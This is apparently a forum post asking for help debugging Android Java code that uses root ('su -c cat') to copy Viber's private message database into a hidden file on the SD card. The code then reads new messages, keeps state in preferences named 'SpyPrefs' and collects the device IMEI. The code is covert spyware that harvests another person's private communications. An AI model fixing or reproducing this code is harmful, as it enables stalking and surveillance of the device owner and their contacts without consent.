I have rooted the phone and copying the database of other application into the SD card.
In the below code it simply copying the db file and after that fetching the data from the table. This code throw the exception Exception:unknown error (code 14): Could not open database
Guys help me if you have any idea of this.
String filep ="/mnt/sdcard/.configsvb.db";
String filefolder="/data/data/com.viber.voip/databases/viber_messages";
Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});
new Helper().readvb(filep, getApplicationContext(), data); // This method read the database file.
Helper.java
public void readvb(String filep,Context con, StringBuilder data)
{
File dbfile = new File(filep);
SharedPreferences preferences = con.getSharedPreferences("SpyPrefs", Context.MODE_WORLD_WRITEABLE);
Editor editor = preferences.edit();
if(dbfile.exists())
{
myDataBase = SQLiteDatabase.openDatabase(filep, null,SQLiteDatabase.NO_LOCALIZED_COLLATORS);
long lastmessage = preferences.getLong("LastViberRead", 0);
long msgtime=0;
StringBuilder xml = new StringBuilder();
LogsTable logtable= new LogsTable(con);
Cursor cursor = myDataBase.query(DATABASE_TABLE, new String[]{"_id", "address","type", "body","date"}, "date>"+lastmessage, null, null, null, null);
int count=0;
String imei = ((TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
if(cursor != null)
{
}
}
}